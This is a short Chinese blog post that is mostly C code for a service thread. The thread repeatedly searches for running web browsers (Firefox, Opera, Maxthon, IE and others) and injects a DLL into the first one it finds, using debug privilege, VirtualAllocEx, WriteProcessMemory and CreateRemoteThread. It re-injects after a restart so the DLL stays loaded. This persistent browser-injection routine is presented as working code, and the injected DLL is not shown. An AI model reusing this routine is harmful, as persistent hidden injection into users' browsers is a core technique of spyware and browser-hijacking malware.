一种循环注入的思路_注入循环式教学-优快云博客

本文链接：https://blog.youkuaiyun.com/brain_/article/details/370456

作者在写注入程序时遇到挂在explorer上不能运行等问题，为解决此设计了一段代码。代码通过循环查找指定浏览器进程，将dll文件注入进程，确保挂接的dll文件不会因进程终止而卸载。

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我在写注入程序的时候，偶尔遇见过一些邪门儿的问题，比如挂在explorer上面不能运行，挂在其他的进程上面却很正常，为了能尽快地解决问题。我就犯懒设计了这个东西。因此也就不用怕由于进程的终止而导致dll文件的卸载：

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
DWORD dwThreadID,pID,pPriID;
void *pRemoteThread;
HANDLE hProcess,hThread;
char pszLibFileName[MAX_PATH];
GetSystemDirectory(pszLibFileName,MAX_PATH);
strcat(pszLibFileName,"//library.dll");
int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(WCHAR);
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
EnableDebugPriv();
/*
maxthon.exe
firefox.exe
opera.exe
ttraveler.exe
*/
char *szBrowserName[5]=
{
  "maxthon.exe",
  "firefox.exe",
  "opera.exe",
  "ttraveler.exe",
  "iexplore.exe"
};
do
{
  for(int i=0;i<5;i++)
  {
   pID = GetPidByName(szBrowserName[i]);
   if(pID != 0)
    i = 5;
  }

  if(pID == 0)
  {
   hThread = NULL;
  }
  else if((pID != 0)&&(hThread == NULL))
  {
   pPriID = pID;

hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

   if(!hProcess)
    return 0;

   pRemoteThread = VirtualAllocEx(hProcess,
           NULL,
           cb,
           MEM_COMMIT | MEM_RESERVE,
           PAGE_EXECUTE_READWRITE);
   if(!pRemoteThread)
    return 0;

   if(!WriteProcessMemory(hProcess, pRemoteThread,
    (PVOID)pszLibFileName,
    cb,
    0))
    return 0;

   hThread = CreateRemoteThread(hProcess ,
          NULL,
          0,
          pfnStartAddr,
          pRemoteThread,
          0,
          &dwThreadID);

   CloseHandle(hProcess);
  }
  else if((pID != 0)&&(hThread != NULL)&&(pPriID!=pID))
   hThread = NULL;
  Sleep(100);
}
while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
return 0;
}

这种模式能确保挂接的dll文件不会因为进程终止而卸载